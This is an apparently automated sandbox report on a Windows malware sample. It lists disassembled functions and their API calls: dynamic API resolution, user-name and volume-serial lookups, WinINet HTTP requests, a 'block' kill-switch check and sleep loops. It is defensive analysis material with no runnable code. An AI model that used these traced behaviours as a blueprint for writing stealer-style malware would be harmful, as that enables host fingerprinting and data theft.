API String ID: 460715078-2180234286
Opcode ID: 1af3f783657bf220134d198b1a39bc9746d7e8494d92742ca86022d27b9b1689
Instruction ID: c767a06c44d1aca1c2d499cf6dbd1a979ddda38f64ee0ba0d002a7938dd03842
Opcode Fuzzy Hash: 1af3f783657bf220134d198b1a39bc9746d7e8494d92742ca86022d27b9b1689
Instruction Fuzzy Hash: 5412C972950118AADB15EBA0DCA2FEEB778BF64305F904199F14672091EF702F49CF62

Function 00137850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001211B7), ref: 00137880
RtlAllocateHeap.NTDLL(00000000), ref: 00137887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0013789F

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 399c71933edbd140ba14f72431dc21d4cb126b15e8824d0692d6d83db27a3b33
Instruction ID: b32a5893357df11d5925120855b5bdad4d0e6cfad7d19e167cb3c7a574d79a64
Opcode Fuzzy Hash: 399c71933edbd140ba14f72431dc21d4cb126b15e8824d0692d6d83db27a3b33
Instruction Fuzzy Hash: 21F04FB1944609ABCB14DF98DD49BAEFBBCEB09711F10425AFA05A3680C7B415048FA1

Function 00121160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0012116A
ExitProcess.KERNEL32 ref: 0012117E

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 04f65bd14870b73c61d96c0072eddc4cd755a6bf99a42fe015abb25ed711ac8b
Instruction ID: 9c286f9793f08283c77209842a7084fcab405134633cee892b3670e25b5aea26
Opcode Fuzzy Hash: 04f65bd14870b73c61d96c0072eddc4cd755a6bf99a42fe015abb25ed711ac8b
Instruction Fuzzy Hash: 78D05E7490030CDBCB00DFE0D84A6EDBB7CFB08312F000554DD0572340EB709491CAA6

Function 00139C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00FE5B70), ref: 00139C2D
GetProcAddress.KERNEL32(74DD0000,00FE5BB0), ref: 00139C45
GetProcAddress.KERNEL32(74DD0000,00FF96B8), ref: 00139C5E
GetProcAddress.KERNEL32(74DD0000,00FF9670), ref: 00139C76
GetProcAddress.KERNEL32(74DD0000,00FF96D0), ref: 00139C8E
GetProcAddress.KERNEL32(74DD0000,00FF96A0), ref: 00139CA7
GetProcAddress.KERNEL32(74DD0000,00FEB900), ref: 00139CBF
GetProcAddress.KERNEL32(74DD0000,00FFD4E8), ref: 00139CD7
GetProcAddress.KERNEL32(74DD0000,00FFD470), ref: 00139CF0
GetProcAddress.KERNEL32(74DD0000,00FFD548), ref: 00139D08
GetProcAddress.KERNEL32(74DD0000,00FFD578), ref: 00139D20
GetProcAddress.KERNEL32(74DD0000,00FE5C10), ref: 00139D39
GetProcAddress.KERNEL32(74DD0000,00FE5C30), ref: 00139D51
GetProcAddress.KERNEL32(74DD0000,00FE5C50), ref: 00139D69
GetProcAddress.KERNEL32(74DD0000,00FE5CB0), ref: 00139D82
GetProcAddress.KERNEL32(74DD0000,00FFD3F8), ref: 00139D9A
GetProcAddress.KERNEL32(74DD0000,00FFD4B8), ref: 00139DB2
GetProcAddress.KERNEL32(74DD0000,00FEB978), ref: 00139DCB
GetProcAddress.KERNEL32(74DD0000,00FE5CD0), ref: 00139DE3
GetProcAddress.KERNEL32(74DD0000,00FFD428), ref: 00139DFB
GetProcAddress.KERNEL32(74DD0000,00FFD4D0), ref: 00139E14
GetProcAddress.KERNEL32(74DD0000,00FFD590), ref: 00139E2C
GetProcAddress.KERNEL32(74DD0000,00FFD4A0), ref: 00139E44
GetProcAddress.KERNEL32(74DD0000,00FE5D30), ref: 00139E5D
GetProcAddress.KERNEL32(74DD0000,00FFD488), ref: 00139E75
GetProcAddress.KERNEL32(74DD0000,00FFD440), ref: 00139E8D
GetProcAddress.KERNEL32(74DD0000,00FFD5A8), ref: 00139EA6
GetProcAddress.KERNEL32(74DD0000,00FFD500), ref: 00139EBE
GetProcAddress.KERNEL32(74DD0000,00FFD410), ref: 00139ED6
GetProcAddress.KERNEL32(74DD0000,00FFD458), ref: 00139EEF
GetProcAddress.KERNEL32(74DD0000,00FFD518), ref: 00139F07
GetProcAddress.KERNEL32(74DD0000,00FFD530), ref: 00139F1F
GetProcAddress.KERNEL32(74DD0000,00FFD560), ref: 00139F38
GetProcAddress.KERNEL32(74DD0000,00FFA900), ref: 00139F50
GetProcAddress.KERNEL32(74DD0000,00FFCDF8), ref: 00139F68
GetProcAddress.KERNEL32(74DD0000,00FFD098), ref: 00139F81
GetProcAddress.KERNEL32(74DD0000,00FE5D50), ref: 00139F99
GetProcAddress.KERNEL32(74DD0000,00FFD050), ref: 00139FB1
GetProcAddress.KERNEL32(74DD0000,00FE59F0), ref: 00139FCA
GetProcAddress.KERNEL32(74DD0000,00FFD038), ref: 00139FE2
GetProcAddress.KERNEL32(74DD0000,00FFCFD8), ref: 00139FFA
GetProcAddress.KERNEL32(74DD0000,00FE5950), ref: 0013A013
GetProcAddress.KERNEL32(74DD0000,00FE5A70), ref: 0013A02B
LoadLibraryA.KERNEL32(00FFCE40,?,00135CA3,00140AEB,?,?,?,?,?,?,?,?,?,?,00140AEA,00140AE3), ref: 0013A03D
LoadLibraryA.KERNEL32(00FFD068,?,00135CA3,00140AEB,?,?,?,?,?,?,?,?,?,?,00140AEA,00140AE3), ref: 0013A04E
LoadLibraryA.KERNEL32(00FFD0E0,?,00135CA3,00140AEB,?,?,?,?,?,?,?,?,?,?,00140AEA,00140AE3), ref: 0013A060
LoadLibraryA.KERNEL32(00FFCF60,?,00135CA3,00140AEB,?,?,?,?,?,?,?,?,?,?,00140AEA,00140AE3), ref: 0013A072
LoadLibraryA.KERNEL32(00FFD080,?,00135CA3,00140AEB,?,?,?,?,?,?,?,?,?,?,00140AEA,00140AE3), ref: 0013A083
LoadLibraryA.KERNEL32(00FFCFF0,?,00135CA3,00140AEB,?,?,?,?,?,?,?,?,?,?,00140AEA,00140AE3), ref: 0013A095
LoadLibraryA.KERNEL32(00FFCE58,?,00135CA3,00140AEB,?,?,?,?,?,?,?,?,?,?,00140AEA,00140AE3), ref: 0013A0A7
LoadLibraryA.KERNEL32(00FFCE70,?,00135CA3,00140AEB,?,?,?,?,?,?,?,?,?,?,00140AEA,00140AE3), ref: 0013A0B8
GetProcAddress.KERNEL32(75290000,00FE57D0), ref: 0013A0DA
GetProcAddress.KERNEL32(75290000,00FFCE88), ref: 0013A0F2
GetProcAddress.KERNEL32(75290000,00FF9148), ref: 0013A10A
GetProcAddress.KERNEL32(75290000,00FFCE10), ref: 0013A123
GetProcAddress.KERNEL32(75290000,00FE56D0), ref: 0013A13B
GetProcAddress.KERNEL32(6FC70000,00FEB9A0), ref: 0013A160
GetProcAddress.KERNEL32(6FC70000,00FE5910), ref: 0013A179
GetProcAddress.KERNEL32(6FC70000,00FEB6D0), ref: 0013A191
GetProcAddress.KERNEL32(6FC70000,00FFCEA0), ref: 0013A1A9
GetProcAddress.KERNEL32(6FC70000,00FFCF18), ref: 0013A1C2
GetProcAddress.KERNEL32(6FC70000,00FE5A50), ref: 0013A1DA
GetProcAddress.KERNEL32(6FC70000,00FE5930), ref: 0013A1F2
GetProcAddress.KERNEL32(6FC70000,00FFCF78), ref: 0013A20B
GetProcAddress.KERNEL32(752C0000,00FE5850), ref: 0013A22C
GetProcAddress.KERNEL32(752C0000,00FE58D0), ref: 0013A244
GetProcAddress.KERNEL32(752C0000,00FFD020), ref: 0013A25D
GetProcAddress.KERNEL32(752C0000,00FFCED0), ref: 0013A275
GetProcAddress.KERNEL32(752C0000,00FE5790), ref: 0013A28D
GetProcAddress.KERNEL32(74EC0000,00FEB630), ref: 0013A2B3
GetProcAddress.KERNEL32(74EC0000,00FEBA18), ref: 0013A2CB
GetProcAddress.KERNEL32(74EC0000,00FFCE28), ref: 0013A2E3
GetProcAddress.KERNEL32(74EC0000,00FE56F0), ref: 0013A2FC
GetProcAddress.KERNEL32(74EC0000,00FE59D0), ref: 0013A314
GetProcAddress.KERNEL32(74EC0000,00FEB658), ref: 0013A32C
GetProcAddress.KERNEL32(75BD0000,00FFD0B0), ref: 0013A352
GetProcAddress.KERNEL32(75BD0000,00FE58F0), ref: 0013A36A
GetProcAddress.KERNEL32(75BD0000,00FF92C8), ref: 0013A382
GetProcAddress.KERNEL32(75BD0000,00FFCEB8), ref: 0013A39B
GetProcAddress.KERNEL32(75BD0000,00FFCF30), ref: 0013A3B3
GetProcAddress.KERNEL32(75BD0000,00FE5A10), ref: 0013A3CB
GetProcAddress.KERNEL32(75BD0000,00FE56B0), ref: 0013A3E4
GetProcAddress.KERNEL32(75BD0000,00FFD0C8), ref: 0013A3FC
GetProcAddress.KERNEL32(75BD0000,00FFCEE8), ref: 0013A414
GetProcAddress.KERNEL32(75A70000,00FE5990), ref: 0013A436
GetProcAddress.KERNEL32(75A70000,00FFCF90), ref: 0013A44E
GetProcAddress.KERNEL32(75A70000,00FFCF00), ref: 0013A466
GetProcAddress.KERNEL32(75A70000,00FFCF48), ref: 0013A47F
GetProcAddress.KERNEL32(75A70000,00FFCFA8), ref: 0013A497
GetProcAddress.KERNEL32(75450000,00FE57B0), ref: 0013A4B8
GetProcAddress.KERNEL32(75450000,00FE5830), ref: 0013A4D1
GetProcAddress.KERNEL32(75DA0000,00FE5710), ref: 0013A4F2
GetProcAddress.KERNEL32(75DA0000,00FFCFC0), ref: 0013A50A
GetProcAddress.KERNEL32(6F070000,00FE5A30), ref: 0013A530
GetProcAddress.KERNEL32(6F070000,00FE57F0), ref: 0013A548
GetProcAddress.KERNEL32(6F070000,00FE5870), ref: 0013A560
GetProcAddress.KERNEL32(6F070000,00FFD008), ref: 0013A579
GetProcAddress.KERNEL32(6F070000,00FE5890), ref: 0013A591
GetProcAddress.KERNEL32(6F070000,00FE5750), ref: 0013A5A9
GetProcAddress.KERNEL32(6F070000,00FE5A90), ref: 0013A5C2
GetProcAddress.KERNEL32(6F070000,00FE5970), ref: 0013A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0013A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0013A607
GetProcAddress.KERNEL32(75AF0000,00FFD1D0), ref: 0013A629
GetProcAddress.KERNEL32(75AF0000,00FF91D8), ref: 0013A641
GetProcAddress.KERNEL32(75AF0000,00FFD1B8), ref: 0013A659
GetProcAddress.KERNEL32(75AF0000,00FFD1E8), ref: 0013A672
GetProcAddress.KERNEL32(75D90000,00FE5730), ref: 0013A693
GetProcAddress.KERNEL32(6F9D0000,00FFD158), ref: 0013A6B4
GetProcAddress.KERNEL32(6F9D0000,00FE5770), ref: 0013A6CD
GetProcAddress.KERNEL32(6F9D0000,00FFD170), ref: 0013A6E5
GetProcAddress.KERNEL32(6F9D0000,00FFD278), ref: 0013A6FD

Strings

InternetSetOptionA, xrefs: 0013A5E5
HttpQueryInfoA, xrefs: 0013A5FC

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 89c9571a49e654c4c9148cbe82949f878ee1c2344cdb80c2e450651272d2548c
Instruction ID: f966cc1715ca65d98ec3c341401500f59527f4ea1f0bbadd286552633468512a
Opcode Fuzzy Hash: 89c9571a49e654c4c9148cbe82949f878ee1c2344cdb80c2e450651272d2548c
Instruction Fuzzy Hash: 73622EB5500A00AFC346DFA9EE989563BFDF78C301F14C51AE605E3264D7B9A841EF62

Function 00126280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 001247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124839
Part of subcall function 001247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124849

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

InternetOpenA.WININET(00140DFE,00000001,00000000,00000000,00000000), ref: 001262E1
StrCmpCA.SHLWAPI(?,00FFE7D8), ref: 00126303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00126335
HttpOpenRequestA.WININET(00000000,GET,?,00FFE338,00000000,00000000,00400100,00000000), ref: 00126385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 001263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0012646D
InternetCloseHandle.WININET(00000000), ref: 001264EF
InternetCloseHandle.WININET(00000000), ref: 001264F9
InternetCloseHandle.WININET(00000000), ref: 00126503

Strings

ERROR, xrefs: 001264C9
ERROR, xrefs: 00126407
GET, xrefs: 0012637C

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 28722d2669630939da20bcedb77d8bf832c337a19bb2c2cb350ccffaab6dcdd1
Instruction ID: 47ccd8982b4da7e415ebeebf9ac52c2e3a467d2e2e02317b5b58694984c2cfc7
Opcode Fuzzy Hash: 28722d2669630939da20bcedb77d8bf832c337a19bb2c2cb350ccffaab6dcdd1
Instruction Fuzzy Hash: FB714C71A00218ABDB24EFA0DC59FEE77B8BF44700F508198F10A6B1D0DBB46A85CF52

Function 00135510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A820: lstrlen.KERNEL32(00124F05,?,?,00124F05,00140DDE), ref: 0013A82B
Part of subcall function 0013A820: lstrcpy.KERNEL32(00140DDE,00000000), ref: 0013A885

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00135644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00135857

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 001351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00135228

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 001352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00135318
Part of subcall function 001352C0: lstrlen.KERNEL32(00000000), ref: 0013532F
Part of subcall function 001352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00135364
Part of subcall function 001352C0: lstrlen.KERNEL32(00000000), ref: 00135383
Part of subcall function 001352C0: lstrlen.KERNEL32(00000000), ref: 001353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0013578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00135940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00135A0C
Sleep.KERNEL32(0000EA60), ref: 00135A1B

Strings

ERROR, xrefs: 001359FE
ERROR, xrefs: 0013577D
ERROR, xrefs: 00135636
ERROR, xrefs: 00135693
ERROR, xrefs: 00135932
ERROR, xrefs: 00135849

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 3e830f7dcdc878cd96d82759de47098a3a68cf50f4b70a0afcd2d0ae310a3260
Instruction ID: 787898088135a3db7e1750242254ba1695c8743b4c7786d93a6bfaaa8d38b919
Opcode Fuzzy Hash: 3e830f7dcdc878cd96d82759de47098a3a68cf50f4b70a0afcd2d0ae310a3260
Instruction Fuzzy Hash: B6E15F72910504AADB09FBA0EC92AED737DAF74300F908168F54767191EF746B09CBA2

Function 001317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 001317C5
ExitProcess.KERNEL32 ref: 001317D1

Strings

block, xrefs: 001317B7

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 8cb73197a75ecfe531fef55ce9e6fa574f7160cceff1cc1321d1542a0296b1c4
Instruction ID: 673316d5389f6d2599226b072758631f1c08e7d8e4377ff695e18a87fb760fda
Opcode Fuzzy Hash: 8cb73197a75ecfe531fef55ce9e6fa574f7160cceff1cc1321d1542a0296b1c4
Instruction Fuzzy Hash: 90517CB4A0420AFFCB05DFA5D954FBE77BABF44708F108048E906A7251D770E955CB62

Function 00137500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00137542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0013757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00137603
RtlAllocateHeap.NTDLL(00000000), ref: 0013760A
wsprintfA.USER32 ref: 00137640

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Strings

C, xrefs: 0013754C
:, xrefs: 0013755C
\, xrefs: 00137560

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 46aac63e56c3fe17d35cc860767307d687531225c244122bcce7d8c8e58a2fc5
Instruction ID: ede9c1bf8640516abd16cb24e6c92e60d151b00b0f62aea76d668c7d3c25f21b
Opcode Fuzzy Hash: 46aac63e56c3fe17d35cc860767307d687531225c244122bcce7d8c8e58a2fc5
Instruction Fuzzy Hash: 904180F1D04248ABDB25DF94DC85BEEBBB8AF18700F104199F509B7280DB75AA44CFA5

Function 001369F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2488), ref: 001398A1
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2308), ref: 001398BA
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2470), ref: 001398D2
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2320), ref: 001398EA
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2500), ref: 00139903
